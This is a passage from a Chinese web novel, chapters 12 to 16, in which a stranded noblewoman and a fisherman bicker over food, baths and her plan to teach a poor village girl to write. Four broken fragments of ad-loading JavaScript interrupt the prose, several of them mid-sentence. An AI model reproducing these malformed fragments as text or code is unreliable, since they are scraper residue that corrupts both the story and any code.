崔竹喧自知理亏，“……你说个数，我赔你，但我现在没钱，得等回家一并给。” 寇骞默了下，突然侧过身子，提起墙根底下一把砍刀，被雨水洗至透亮的刀刃晃进她的眼中，崔竹喧脸色一白，下意识往后退了几步，不成想，那人却紧跟了过来。 不会是因为她拿不出钱，他就要杀人了吧？ 目光瞟向院门，正思忖着逃跑需要几步，那人却像是没发现她的异常，低眉叮嘱：“看着点，别淋着雨。” 她怔了一下，抬眸，是丑丑的油纸伞面，却将冷雨遮挡得严严实实。 “……你突然拿刀做什么？”崔竹喧偏过头，端出一副问责的语调，掩饰自己被唬住一瞬的事实。 寇骞将人送至檐下，把伞竖在柱子边沥水，“砍竹子做竹筏，先凑合着用几天。” “那也不用淋着雨去吧？” “不下雨时，得干别的。” 这回不必顾忌着她慢吞吞的动作，寇骞三两步便跨出院子，将木门一合，她就瞧不见他了。 崔竹喧攥了下裙摆，转身进了屋。 一只小木船又不值什么钱，她大可送他一条画舫，哪里就要这么急着做竹筏了？再说，她许的那些银子，难道还比不上一篓子臭鱼烂虾么 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ？世上哪有这种白痴，放着她这个家财万贯的摇钱树不讨好，非要去外面淋雨？ 活该他被浇成落汤鸡！ 崔竹喧在心底把寇骞从头到脚数落了一遍，坐在硬邦邦的床板上，目光所及之处，尽是可被挑出的刺，板凳四条腿不一样长，桌案生了满脸的麻子，铜镜背上横亘一道刀疤，草娃娃顶着副苦瓜相，桩桩件件，都如寇骞一般讨人厌。 她抬眸，连离得最近的床幔都梳个阴阳头——等等，这个，好像是她剪的。 她的气势一下子弱了下来，归根结底，他顶着恶风冷雨出门，是因为她。 她占了他的屋子，用了他的锦缎，吃了他的粮食，花了他的银子，如今还在咒骂他是个傻子……好像、确实有点不应该，若不是她昨日闹了那么一出，他也不必冒雨上山。 崔竹喧自认不是那等恩将仇报的白眼狼，给出的酬金不是小数目，可不管金饼还是银铤，都得等到她平安回家之后才行，如今她拿出的，不过是一根金簪，这跟拿着一文钱，要包下人家整个摊子的地痞流氓好像也无甚区别。 可除了金簪，她还有什么拿得出手？ 崔竹喧开始恼恨，那日乘船时，为什么没在发髻上插个百八十根簪子，不然如今也不会这般良心不安，不过要真能倒回去，她一定不上甲板，不、是不在汛期乘船！ 提到这个，她又想起了导致她沦落至此的罪魁祸首——蓝青溪。 也不知堂兄有没有将他好生收拾一顿，总不能她在穷乡僻壤里吃糠咽菜，他却在金殿玉阙里享美酒佳肴，但堂兄打猎都没赢过彩头，走时又是那副优柔寡断的模样，别是只带几根头发、半片指甲来向她交差。 指望那个不靠谱的，不如她自己动手。 崔竹喧下床翻了许久，终于寻出来剩半截的墨条和快秃顶的毛笔，混着雨水，将墨研开，把笔杆下稀疏的毛发浸到臭烘烘的黑水里，在草纸上写出一个蓝，又在第二张上写了一个寇，分别贴到草娃娃的脑门上。 她揪了根手指粗的树枝，将左边的“蓝”草娃娃抽得满桌打滚儿，若换成真人，此刻必然已皮开肉绽了。至于右边，念在寇骞既有功劳也有苦劳的份上，她勉为其难地把他的冒犯之罪从轻发落，只往它的脑袋上敲了几下，在纸上压出几道折痕。 “阿姐，你在做什么？” 崔竹喧敲打得正认真，全然没听见混在雨声中的一点贝壳细微的碰撞声，以至于被这陡然冒出的稚童声音，惊了一跳，树枝从指间逃脱，扑在“寇”娃娃身上，摔倒成一摊。 “你、你是什么人？为什么突然闯进来？” 小丫头一双小小的眼睛弯成了两道月牙，笑盈盈地凑上来，“是老大派我来的！” 瞧着不过七八岁大，却一点不怕生，目光略过崔竹喧，迅速锁定桌上两个草娃娃，仔仔细细地打量一番，将兴奋写了满眼，“阿姐是在玩过家家吗？” “胡说！我才不玩那种幼稚的东西！” 13. 013 利欲熏心 崔竹喧堂堂崔门贵女，自然当志趣高雅，平日里只该吟诗作画，焚香煮茶，说一千道一万，就是咬死自己在大行巫蛊之术，也坚决不肯承认与那些个矇昧无知的孩童有任何的共同点，当然，事情还没糟到那一步，顶着小丫头澄澈的目光，她解释道：“我是在练字。” 将草娃娃头顶的纸揭下来，铺在桌面上，大约是因着近墨者黑，学得了寇骞十分之一的胡诌本事，她便敢脸不红心不跳地信口开河，“读书习字能修身养性、平心静气，宁可食无肉，不可腹无书。” 她板着脸轻咳两声，正准备将人打发出去，面前却突然伸过来一只细细黑黑、被疤痕爬满的拳头，小小的拳头缓缓张开，露出掌心的一个油纸包。 油纸包的样式有些眼熟，应当同昨夜寇骞给她的是同一种，里头装着又腻又粘牙的饴糖，难吃得很，可她顺着油纸包往上望去，看见的是一双小心翼翼的眼睛，“那我把老大给的糖还给你，我每日来帮你编辫子，你教我读书写字，可以吗？” “我又不是教书先生，这怎么能行？” “可是，白原洲，没有教书先生……” 崔竹喧顿了下，想起这是个连大夫都没有的穷乡僻壤来着，“你不如去县城里问问，进个学堂，将来也好谋个一官半职的，要是凑不齐束脩——” 她扫了眼面前人的打扮，深褐色粗布做的衣裳，宽大了许多，袖口和裤脚都是翻卷着叠起，目光一瞟，就是大块大块的补丁，与其说是衣裳烂了后的缝缝补补，倒不如说是捡了剩布头拼凑到一块儿成的衣裳。 ——定然是凑不齐束脩的。 但崔竹喧确实是身无长物，没有哪个士族落魄到需要把钱袋子系在自己腰上的吧，总归她是不系的，嫌沉得慌，也就致使如今没什么东西拿得出手。 但话开了头，总不能这么没了后续，她绕到屋后，把仅剩下一只的绣花鞋拎了过来，寻了把剪子，只是剪头方探进细线里，黑色的小手便护在了皎白的珍珠上，“好漂亮的鞋子！阿姐，还是别剪了吧？” 干瘪的手指虚虚地盖在上头，好像底下被河沙冲刷许久也没破损的缎面，会因着指腹轻点，便寸寸崩裂似的，“我只随口说说，阿姐怎么还当真了？” 话间的愁绪清浅，在小丫头抬头刹那便悄然散去，那双眼睛仍是弯得像两道月牙，对她粲然一笑，“阿姐今日的头发梳好了，那我明日再来吧！” 黑黑瘦瘦的身影消匿在雨幕中，只有粗劣的油纸包被端端正正地摆在桌案上。 雨下得越发密，好像是天上破了一个窟窿，不仅没人抓紧时间缝补，反倒放任其越裂越大，从滴滴点点、丝丝缕缕地泄漏，到一瓢瓢、一桶桶地往下倾倒，等再度有人推门时，崔竹喧掀帘望去，昏暗的暮色里，屋前的柿子花已落光了。 被寇骞晾在檐下的蓑衣上粘着半青半黄的竹叶，却没见着他把竹筏一并带回来，应是还没有做完，她理当寒暄几句，那人却并不看她，只是急匆匆地进了厨房。 那头生火，做饭，忙得不可开交。 这边仍是听雨，赏景，哦，赏不了景了，白原洲可没人有闲钱幕天席地地添油点灯，剩下黑黢黢的一片，什么都看不清。 但不管忙人、闲人，总归要坐到同一张桌子上吃饭。 明明白日里还有许多问题想问，如今却不知该从哪个开口，崔竹喧心不在焉地把汤匙往嘴里送，连里头盛没盛上汤都没注意上，一碗汤喝了半晌，还是原原本本那一碗，终是惹来了下厨人不满地质问：“咸了？淡了？还是你不吃这个？” 刚刚还装装样子的人，这下干脆撂了汤匙，“白日里那个小孩，你能不能把她送去学堂读书？” 寇骞有些讶然地看了她一眼，但这并不妨碍他拒绝得果断，“不能。” “不是立刻就送，可以等汛期过去再送，她的束脩我全包了，还可以再给你加一笔跑腿的费用。” “也不能。” 崔竹喧蹙眉瞪过去，后者神色自若地喝汤吃饭，木箸一夹，牙齿一咬，喉头一滚，被煮至金黄的蛤蜊肉便下了肚，他再把不能吃的壳往盆里一扔，堆叠成一座小山。 “寇骞！我在和你说话呢，你就不能认真一点吗？” “你说，某听着，”寇骞轻叹一口气，抓了把头发，比起招惹这位祖宗，还是忍着饿放下木箸好些，“但如果还是刚刚那件事，免谈，不能就是不能，她不能出白原洲，不能渡河，更不能进学堂。” 难道是因这穷山恶水地，还留着重男轻女的陋习？ 崔竹喧望过去的目光不由得带上了一分鄙夷，不屑与愚民相争，是故，退而求其次地开口：“那给她备件新衣裳，我把你剩下的布料买了，或者从给我的布料里匀一身给她，这总行了吧？” “今夜不当祖宗，改做菩萨了？”这般阴阳怪气的语调，招得崔竹喧又一个眼刀，他却浑然不在意，“她和你不一样，穿先前那身就行。” “怎么不一样了？就算是她付不起钱，我替她付，如何就不能穿身体面的衣裳？”除非是纹龙绣凤，不然世上哪有花了钱还不能穿的衣裳，想到这，她面色一凛，眼神古怪地看过去，“还是说，你给我订那些衣裳，是别有用心？” 寇骞几乎要被她这番愈发离谱的推断气笑了，“既然发善心，怎么只可怜她，不可怜可怜我？我把你当祖宗似的供着，还要被你扣一顶屎盆子。” 崔竹喧生平第一次被这般腌臢话灌进耳朵，气红了一张脸，浑身都要抖起来，“你、你粗俗！” 瞧瞧，小祖宗连骂人都不会，他一个粗人，哪能不俗呢？ 蛤蜊汤凉了会腥，瞟了眼碗中越发稀薄的热气，寇骞已然准备低头认错，换一顿安稳饭吃，却在听到下一句质问时，蓦然变了脸色。 “你若是真真切切的好人，怎能对那个食不果腹、衣不蔽体的孩子不闻不问？说 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 到底，你就是见色起意、利欲熏心！见从她身上谋不得任何好处，所以才百般吝啬！” “你哪只眼睛见着她食不果腹、衣不蔽体？” 能被一颗饴糖支使来支使去，又是那样铺满补丁的不合身的衣裳，这不是显而易见？是以，崔竹喧答得信誓旦旦，“两只眼睛都见到了！” “好，她可怜，你善良，我恶毒。” “难道不是？” 寇骞止了声，看见一双防备的眼睛里映着他冷硬的眉眼，忽然觉得可笑，用来哄骗人的说辞，怎么把自己也一道哄了进去，轻嗤着承认，“是，我恶毒，养着你就是为了拉出去换钱，扒皮抽骨，心肝脾肺肾挨个卖个遍！” 屋内倏然静下来，外头是雨滴从檐角滚落，这头是泪珠从眼尾淌下。 她眼里的恐惧是真的，面上的惊惶也是真的，好似唯有他的百般讨好是假的。 寇骞忙伸手想去帮她擦擦，将将靠近时，她本能地瑟缩一下，于是那只手便只能木讷地撤回来。 “刚刚是气话，某不干杀人的勾当。” “某不会对你做什么的。” “……等能渡河了，某便送你离开，绝不食言。” * 槐树下的屋子内，寇骞将湿透的衣裳随手挂到炭盆上熏烤，扯了件袍子，松松垮垮地披在身上，第一顿晚饭吃得不欢而散，索性挪个新地，吃第二顿。 现成的两菜一汤，还有热腾腾的白米饭，这不比在那边生火炒菜、刷锅洗碗舒服得多？他定是脑子有问题，才会眼巴巴地跑去给别人洗手作羹汤！ “老大，你不是早上才说不在这儿吃么？” “……不行？” 阿树咬牙扯出一个笑，恨不得把上一秒多嘴的自己一并下锅炖了，怎么就改不了爱搭话这个破毛病呢？ 他这厢正深切反思着呢，耐不住边上一个没头脑也跟着胡咧咧地插话，“老大，那你明早在哪吃啊？” “在这！” “那你养的那只肥羊呢？” “饿着，”寇骞冷笑一声，“还能天天哄着她玩过家家不成？” 胡乱灌了碗酒下肚，撩帘进了里屋，第二顿晚饭，也不算欢。 剩下桌案前的阿树和牛二面面相觑，一头雾水，而后胡吃海塞。 “老大怎么不吃啊？是不是你手艺太差，做菜太难吃啊？”牛二捻了根鱼刺剔牙，大胆猜测道。 “屁！”阿树立时反驳，忽而意识到什么，向牛二招了招手，示意他附耳过来，小声蛐蛐，“明显是在小娘子那没讨到好，失恋的男人嘛，都这样，我见得多了！” 牛二有些迟疑，“还有谁也失恋？” 阿树一时语塞，恶狠狠地剜过去一眼，也闷了一碗酒，进屋睡觉。 牛二对着满桌狼藉沉吟许久，忽而灵光一闪，醍醐灌顶： 失他大爷的失恋，这俩人就是不想洗碗！ 14. 014 酸馅馒头 照理说，酒足饭饱，再加上阿树那个能顶着雷鸣般呼噜声安然入梦的睡眠质量，绝对是能一觉到天亮的，偏偏，鼻头耸动，两个鼻孔一张一合，上头的一双眼睛便倏然睁了开来。 无他，梦里的大鱼大肉，哪能跟真真切切的佳肴打对台，浓郁的鲜香一涌，脑子当即被攻占下来，支使着躯体黑灯瞎火地往后厨摸。 阿树一边走，一边往下吞咽着口水，靠一个鼻子在稠密的雨雾中嗅出食物的种类——酸馅馒头，他能一口吃八个！ 他顿时有了精神，步子愈大愈快，只是冲进厨房，却没能瞧见人影，灶膛的火星子倒是刚灭，锅上的蒸屉冒着热气，正是烫手的时候。他寻了块抹布，急吼吼地将盖子先开来，水汽立时扑了满眼。 阿树揉了揉眼睛，低头望去，不可置信地重新揉了一遍，可该有的酸馅馒头还是一个都没有，他不甘心地把蒸屉布上残留的面皮搓成一团，塞进嘴里，不顶饿，反倒被那软绵绵的口感勾出了肚里的馋虫。 咕噜噜的腹鸣响在了淅淅沥沥的雨声中，他竖着耳朵，隐约听见了个说话声，粗眉一横，就拎了根棒子往外蹿，定是有人把他的份一并吃了！ 左脚追着右脚，从屋后跨到屋前，瞧见那道敞开的门缝，当即紧了紧右手，势要教训教训这个偷吃的贼，只是棒子弗一举起，门缝里就闯出来个人，阿树慌忙把棒子拢到身后，在雨里站得笔直。 “醒了就烧饭去。” 寇骞面无表情地合上门，从他身边略过，可股子菜香味儿，已然不由分说地钻进了他的鼻头——更饿了。 他咋就没有张嘴等吃的命呢？ 阿树悻悻地跟在后头，难过良久，在走路不看路导致一头撞上柱子后，呲牙咧嘴地对上了寇骞一言难尽的表情。 “……还有一笼，吃去吧，给牛二留点就行。” * 崔竹喧昨夜被气哭一回。 没错，是气哭，不是吓哭！ 她思来想去，就寇骞那副能被她轻易呼来喝去的模样，能是什么穷凶极恶之徒，焉能吓唬到她这个见惯了大风大浪的世家贵女，不过是一时没反应过来罢了，等她得了势，非得提刀架在这打渔的脖子上，将他吓得哭爹喊娘、涕泗横流。 至于现在么，寇骞出言不逊、态度不敬，她要扣他一百两银子，以儆效尤！ 这般处决，心头那点郁气便彻底没了，崔竹喧神清气爽地洗漱完，就等着寇骞上门，亲口告诉他这个“好消息”。 然，叩门声照常响起，门外站的却不是那个人。 小丫头仍穿着那身肥大的衣裳，也不撑伞，就紧挨着屋檐站着，头顶的发丝被绵密的雨珠黏成条条缕缕，两手只顾着将一个小竹篮抱得严实，见门开了，便踮起脚尖往里冲，等崔竹喧合好门跟上时，小丫头已然将篮子里的宝贝摆上桌，招着手要向她邀功呢。 “阿姐，快来，刚出锅的馒头，再香不过了！” 许是一路走来，热气被吹散了大半，崔竹喧用木箸夹起一个，试探性地咬下黄豆大小的一块，不烫嘴，便放心地咬下去，绵绵软软的面皮裹着咸香的酸菜入口，貌不惊人的馒头，吃起来却别有一番风味。 小丫头便没她这般讲究了，檐下接了些雨水净手，就一手拿了一个，左一口右一口，将腮帮子填得鼓鼓囊囊，别说什么细嚼慢咽的，只恨不能把嗓子眼扣大些，将馒头一股脑儿塞进去。 却不想，吃得这般认真，却还空出点余光紧盯着她，瞧见崔竹喧搁下木箸，忙把伸进盘子里的手又撤回来，舌尖意犹未尽地舔过齿缝，显然是没吃饱。 “你不吃了？” 小丫头的目光在剩余的半盘馒头上流连，挨个惜别后，忍痛挪开目光，“老大只说让我陪你吃，没说我可以都吃完……要不阿姐你再吃一个吧？我这回吃快些！” “他又不在，有什么好怕的？”话虽如此，崔竹喧还是配合地夹了一个馒头进碗，把自己伪装成正在用膳的模样，“寇骞平日里也是如此，不让你吃饱饭？还支使你干乱七八糟的活？” “没有，老大上个月分给我的米，我都还没吃完呢！”小丫头顿了下，窘迫地挠了下头，“只是这个馒头太香了，老大很少肯给我做，上回——上回还是我染了风寒，以为自己要死了，哭了好久，他才肯下厨。” 风寒了吃馒头有什么用？怎么想也该是熬些参汤温补才对。崔竹喧不认同地想着，对面人却说至兴头，索性一屁股从板凳上弹起来，两手挥舞着比划，“老大可是在元兴楼待过的，整个白原洲都找不出第二个！” “元兴楼是哪？” “汾桡县最大的酒楼！” 崔竹喧微微挑眉，又问：“当掌勺大厨？” 小丫头顿时卡了壳，满面红光憋了回去，闷闷地坐回凳子上，半晌才出声：“是洗盘子的小工。” 堂屋里沉寂下来，只剩唇齿的咀嚼声和吞咽声。 这般似曾相识的画面，让崔竹喧后知后觉地反应过来，自己又把天聊死了，她只能转起一个新的话头，“你叫什么名字？我今日先从教你写名字开始。” 小丫头忙灌了半碗水将馒头顺下去，“阿鲤，鲤鱼的鲤！” 崔竹喧否决了阿鲤想拿着树枝在黄泥地上练字的提议，头上淋雨，脚底踩泥，这哪有个读书的样子，纵然凑不齐学堂和大儒，好歹桌案和笔墨得有吧？ 把桌上的多余物什撤掉，将泛黄的纸展开铺平，边角处用粗瓷碗压好，而后就是研墨、蘸墨，她捻着笔杆，在隶草行楷中犹豫不决，又在赵颜欧柳中举棋不定，但在瞥见边上人五指合拢的握笔姿势后，默然地扯动笔尖在纸面行走。 跟文盲探讨字间风骨无异于对牛弹琴，只需横平竖直地把笔画写清就好。 崔竹喧罕有耐性这般好的时候，连着演示三遍，这才把笔杆子递了过去。后者虽接了笔，却不急着落笔，右手 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 举至眼前，左手吹毛求疵地上前调整指腹的位置，这个上去些，那个下去些，恨不得每根手指的间隔都跟方才瞧见的一模一样。 这还不算完，阿鲤深吸一口气，手腕下落，但落至笔尖与纸面相隔寸余时便停下，悬空临摹着，一边动腕，一边嘴里念念有词，崔竹喧不动声色地凑近了些，这才听清： 一撇，二横撇，三竖…… “怎么不直接写出来？” “若写个错字上去，不就糟蹋了这纸？”阿鲤肉眼可见的紧张，每一次的呼吸，带着细细的笔尖都跟着轻颤，“我再准备一下。” 崔竹喧不置可否地在旁边落座，随手拿起草娃娃，打量着它脑门贴着的纸条。 色泽不够鲜亮，触手不够细腻，不够薄，不够轻，表面凹凸不平，边缘歪斜毛糙，别说是用来写字，便是拿去拧成一团砸人，她都要嫌这不够挺括结实，这种差劲的东西，有什么值得吝惜的必要？ 蓝氏每年送来顶好的凝光纸，还不是由着她肆意涂抹，随意挥霍。 为纸发愁，崔竹喧平生还未有过。 “这纸，很贵吗？”她状若不经意地开口。 “贵，听说家里有好几亩地的人家都买不起纸读书，不然，读了书，去给人当账房可能挣好些银钱呢！” 崔竹喧沉默一会儿，轻手轻脚地起身出门，回卧房清点纸张库存去了。 她不会把寇骞的家底儿都给掏空了吧？ 虽说这其中有寇骞家底儿太薄的原因，可现在还不知道哪天能走呢，要是寇骞没钱了，她岂不是得跟着一并喝西北风去？ 痛定思痛，她决定采纳那个被她否决的提议，从明日起，还是让阿鲤去黄泥地练字去，当然，她还是用笔墨的，最多，最多俭省着些，墨里多掺水，字写小，维持在勉强能看清的程度就行。 阿鲤比她在族学里见过的那些个同窗勤勉得多，待她回去时，阿鲤已然洋洋洒洒写了满纸乌黑，风骨气韵自是没有，但肉眼可见的，越到后头，越是工整，那些个颤抖的线条，都慢慢舒展开来，笨头笨脑地立着。 丑是丑了些，但没一个错字。 阿鲤珍而重之地将那张纸仔细叠好，放在贴近心口的位置，又如约帮她梳好辫子，这才拎着篮子离开。 仍是不撑伞也不戴斗笠的，只是这回，小心护着的不是那只小小的篮子，而是心口那页粗糙的纸。 要不然，还是用在纸上写吧？ 崔竹喧想，大不了把鞋上的珍珠当了，好歹也算是她的学生，太过穷酸，传出去，丢的不还是她的面子？ 合上院门，回到堂屋，这才记起还未收拣的笔墨，欲要清洗时，瞥见砚台里余下的三四滴墨汁。 这般倒了，有些浪费。 她忽然想起那把丑丑的油纸伞，没有画，便由她画一幅上去。 孤高挺拔的竹子，是她。 又破又硬的石头，是寇骞。 15. 015 得寸进尺 白原洲没有晨钟暮鼓，也寻不出日晷滴漏，平常全靠抬头望眼日老头判断时辰，只是阴雨连绵，眼神穿不过云层，那是早是晚便只能凭直觉判断了。 诸如现在，阿树摸着自己干瘪的肚皮，里头的馋虫似又有哀嚎的趋势，这就是该准备晚饭的时辰。 他踢了脚边上的牛二，后者一动不动，宛若死尸，他又猛踹一脚，惊起一声哀嚎，牛二这才不情不愿地蠕动起来，趴在竹席子上，手脚一点点往中间缩，撅起一个挺翘的屁股，而后是背，是头，最后才舍得把脚塞进草鞋，精神萎靡地飘向后厨。 行至门槛前，牛二揉了揉眼睛，硬生生把一张胡子拉碴的脸揉出几分含羞带喜，嘴角都不知往哪放，“老大，咱今晚吃鱼啊？” 他迈着小碎步靠过去，眼珠子跟着刀刃上下滑动，就见鲜活的鲤鱼被刀身拍晕，剐了鳞，去了皮，鱼肉被一寸寸削成能透光的薄片，只消再蘸些梅酱，便是能端上达官贵人席面的佳肴了。 牛二努力控制着自己的口水不要冲破唇齿大关，就等着刀一停，一口气往嘴里倒上半盘，可等着等着，却见鱼脍装了盘，洒了梅酱，进了篮子，最后才递向自己。 不是，从后厨到堂屋才几步路啊，还用得着包这么严实？ 他张嘴欲问，对面人却先开了口：“送我家去。” 牛二不可置信地瞪大眼睛，“你吃独食？！！” 寇骞顿了下，补充道：“给我家那个小……崔娘子的，你送完就回来，不要久留。” 牛二面露鄙夷，前两日还说要饿着给个教训呢，结果这是按时按点，一顿不落，还次次不重样啊，可怜自己得饥肠辘辘地去给别人送吃食，越想越气，眉眼耷拉下来，一张脸苦大仇深，“那、那她吃鱼，咱也吃鱼嘛？” 寇骞敷衍地点头，牛二顿时眼神一亮。 “也吃鱼脍？” “可以，”而后在牛二满含期待的目光中加上了后半句，“你自己片。” 牛二试图挣扎一番，“我哪有老大这么好的刀工，肉是肉，骨是骨的。” 寇骞挑眉白了他一眼，“手艺不行就练去，练不成就剐了鳞生啃，把你美的，还想我亲自给你挑刺，要不要我亲自喂你啊？” “我就是想要，那你也不肯啊。” 牛二嘟囔几声，万般不情愿地迈出门槛，那步子，活像是在脚腕上绑了五六斤的沙袋，每一脚抬起来，都得深吸一口气使劲才行，拖拖拉拉，速度快得能和蜗牛相提并论。 寇骞拧眉盯了会儿，终是忍无可忍，三两步上去把篮子夺了回来。 都是因为这俩人没一个靠谱的，他才迫不得已、无可奈何地去送饭，绝不是因他上赶着过去想看看小祖宗气消了没有。 说来奇怪，分明是回自己的屋子，却得规规矩矩地叩门等着，甚至于，有几分心怯，比起她呜呜咽咽哭的模样，他反倒更情愿被她颐指气使地骂上几句，又或是被扯扯头发、拧拧皮肉，总归他又不是什么瓷人，挨碰一下便碎了，不如任她撒气。 寇骞拎着篮子站在檐下，想到那夜的景象，又开始犹豫，不然将吃食放在门口便走，免得她害怕，可她连在泥地走个路都要踮着脚尖，提着篮子进屋，难保不会在路上摔了，到时候肯定要哭鼻子的，兴许还是一边哭一边骂，届时就更难哄了。 还是，折中一下，送进屋再走。 如此，就必须得等着了。 门板向里被拉开，他握着篮子的手也跟着紧了些，所幸，没有再瞧见一张泪湿的脸，而是眉心微蹙的怒容，他立时做好了打不还手、骂不还口的准备，而门内的小祖宗也确确实实没有辜负他这番准备，扬着下巴，就开始一通数落。 “怎么今日没把事情交给旁人，自己偷闲躲懒？”门缝被崔竹喧堵得严严实实，摆明了要是他没说几句好话，就别想着进去。 “某这几日是在面壁思过，认真反省。” 崔竹喧冷笑一声，她才不信，这人指不定上哪逍遥快活去了，“反省出结果了吗？” “嗯，某决定痛改前非。” “具体点。” “……晨昏定省，向小祖宗请安？” 崔竹喧微微挑眉，盯着这个油嘴滑舌的讨厌鬼，没错过他眸中的促狭之意，威胁道：“那你最好说到做到，要是时辰到了，没见你的人影，别怪我扣掉你的酬金。” “还是十两一次？” “涨价了，二十两。” 寇骞想了想那岌岌可危的三个金饼，趁着檐下无雨，将布巾掀开一角，露出里头莹白如雪的鱼脍，贿赂之意不言而喻，“那某现在能进去了吗？” 崔竹喧状似不经意地扫过一眼，不置可否，只提着裙摆进屋，这便是默许了。 她在位置上坐好，等着后头人将鱼脍端上桌，布好碗筷，可那个向来与她同席的人，却突然忙活起一些无关紧要的细枝末节来，诸如解开帘下缠到一处的贝壳，给窗户换个角度淋雨，扶桌子，挪凳子，她等得不耐烦了，“你吃不吃？” 他顿时止了脚步，动作迅速地落座，倒像是特意在等她发话似的，但这人往日可没有这般拘礼过，崔竹喧不疑有他，用木箸将鱼脍上的梅酱抹匀，这才斯斯文文地小口咀嚼。 几片鱼下肚，崔竹喧突然喊道：“寇骞。” “在呢，小祖宗有什么吩咐？”被点名的人三两下吞咽一片鱼肉，规规矩矩地放下木箸，却歪歪斜斜地支着脑袋。 “……我若将鞋上的珍珠取下来当了，能换多少银子？” 寇骞讶然地看了她一眼，“若在市集上耐心寻个买家，兴许能卖个二两，送去当铺的话，八百文。” 两千文和八百文的区别，崔竹喧着实分辨不出来，唯一能确定的，就是少得可怜，毕竟她夏日里用来纳凉的一盆冰也不止这么点银钱，可自己答应教阿鲤习字在先，总不好突然反悔，是以，只能硬着头皮继续问：“那，这些钱能买 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 到多少纸墨？” “用沙土练字的效果自然比不上纸笔，但阿鲤初学，消耗难免大些，你放在家里的那些，好像没剩下多少了……你放心，这些钱我不会少了你的，但现在急用，所以……” 寇骞看着她的目光有些复杂，“阿鲤出不了白原洲，她这辈子要么捕鱼，要么采珠，哪一项都不需要识文断字，你这般费心教她，也不过是做白工。” “她想学，我便教，难道做事非得派得上用场才成？”崔竹喧不满地反驳，“再说，一辈子那么长，哪里就只有那两种选择，你也是白原洲的人，你不一样进过县衙，去过酒楼，凭什么阿鲤就不能出去，还什么不能进学堂，焉知她日后不会成为德高望重的夫子呢？” 寇骞沉默下来，望着她，又越过她，看向窗外的暮色沉沉，漫天的雨丝又细又密，牢牢地网住洲上蒙昧的人，生不能逃，死不能离。他竟不知该如何解释，关于阿鲤，关于白原洲，关于他。 他忽而弯了下唇，觉得自己实在有些可笑，有何必要解释，算来不过萍水相逢。 “某会准备好的。” “那我去把珠子取来。”崔竹喧作势起身，却见对面人摇了摇头。 “某尚且有些余钱。” “不是穷得揭不开锅了吗？” 崔竹喧拿他上回的胡话刺过去，这个厚脸皮的人却没有半分羞愧，甚至顺着她这话头继续胡编下去，“哦，是这样，某运气好，在水里捞起来些值钱物件。” 呸，他的船都没了，上哪捞去？ 她懒得再同他掰扯区区几两碎银的小事，“那权当是我当给你了，你哪日缺钱了，自去卖了就好。” 寇骞随意点头应了，确认过她已吃饱，便风卷残云般把剩余的鱼脍一扫而光，拎着篮子准备走时，却被急匆匆地扯住袖口。 “等等，今日范娘子给我送了新做好的衣裳。” 寇骞眨了眨眼睛，顿时明了，这是拐着弯要使唤自己呢，“行，某去备水。” 但是袖子上的手仍未松，那个习惯了颐指气使的小祖宗，难得地扭捏起来，许是因为意识到自己实在不占理，声音都较平常弱了许多，“不止是今天，还有之后，每天……” 寇骞几乎要被她的得寸进尺气笑了，这是真把他当小厮支使了？ “厨房的柴火一点都不齐整，净是木刺，连下手拿的地方都没有，水桶又很重，还没有火折子，我这几日只能将就着用冷水擦洗，都快冷出病了！” 崔竹喧偏过头，“大不了，我再给你加钱。” 寇骞只好把拒绝的话咽下去，扶额走出房门。 活该他捞起一个小祖宗。 他还能怎么办？ 自然是认命地窝在灶台下添柴烧火，然后安慰自己，烧一天是烧，烧一个月也是烧。 这边看着锅里的洗澡水，那边还要盯着药炉子里的桂枝汤，免得她真的染了风寒，更加变本加厉地折腾他。 16. 016 崔女浣纱 一日一浴是贵女的基本修养，崔竹喧硬生生熬了几日，好不容易浸泡到温热的水中，不由得舒服地发出一声喟叹，末了，又觉得自己没出息，竟能被区区一澡盆水给打发。 于是狠倒了一把澡豆，将上上下下仔细搓洗一遍，干净是干净了，就是缺了些香，香膏是没得指望，也不知下次能不能遣寇骞寻些花瓣来。 用手巾擦干身子，换上新缝制好的衣裳。 不是她惯常穿的各类裙裳，而是一件胡服，许是为了方便她出行吧，毕竟这处别说汉白玉的地砖，便是青石板的路面都少得可怜。至于花样方面，实在没有评价的必要，只针脚细密，舒适合体。范娘子还贴心地给她提前做了几身贴身的衣物和巾帕，方便换洗，确实是上心了。 值得颁个“白原洲第一绣娘”的匾额。 可再仔细回想一番，范娘子那瓦缝檐角都被苔藓霸占着，这匾额挂上去，不消几日，便要朽了，还是作罢。 歪着脑袋将湿漉漉的发丝归拢到一处，用细带系了个结，踩着崭新的软布鞋出去，刚进堂屋，就瞧见一张不知从哪被拖出来的摇椅，而寇骞那个不讲究的，此刻正大剌剌地躺在上头。 “寇骞。” 崔竹喧喊了一声，却没等来回应，当即蹙了眉，就这还好意思说晨昏定省来问安？可走近几步，瞧见的是他合拢的眉眼——睡着了？ 她打量过去，第一反应就是这人的睡相差得很。一只手枕在脑后，一只手垂在椅下，一条腿曲着竖起，一条腿盘在旁边，四肢就没一样放得周正，活生生是副野性未脱的猿猴相，唯独看得过去的，就是那张脸。 许是因灯下看美人，别有一番意趣，暖黄的烛火将他的眉眼都映衬地温和了些，狭长的眉，高挺的鼻，似乎都顺眼了许多。崔竹喧又凑近了些，自眼尾看向垂下的眼睫，长长的，带着一点卷，仿佛是比照着画卷上的美人一寸寸照着长的，不然怎么能这般齐整，根根分明。 唯二不太好的，就是皮肤不够白，脸也不够嫩。 她用食指试探着落在他的脸颊，屏住呼吸，轻抚过去，果然如她预想中的那般，别说是同她比，便是同金缕比，也糙了不止一丁半点。 桃花和雪以靧面，再细细敷层珠粉，唇瓣上些无色口脂养护着…… 崔竹喧正思忖着养肤的方子，抬眸，倏然对上一双冷冽的眼睛，匆忙把那只逾矩的手收回去，不自然地背在身后。所幸，他应是刚醒，似乎没有注意到她那点小动作，只是望着她，然后用带着点哑意的声音问：“……干什么？” 她神情倨傲地吩咐道：“你起来，让我坐会儿。” 寇骞眨了眨眼睛，两道眉慢慢拧到了一处，俨然是被她的蛮不讲理震惊到了，“全家就只有这一把椅子？” 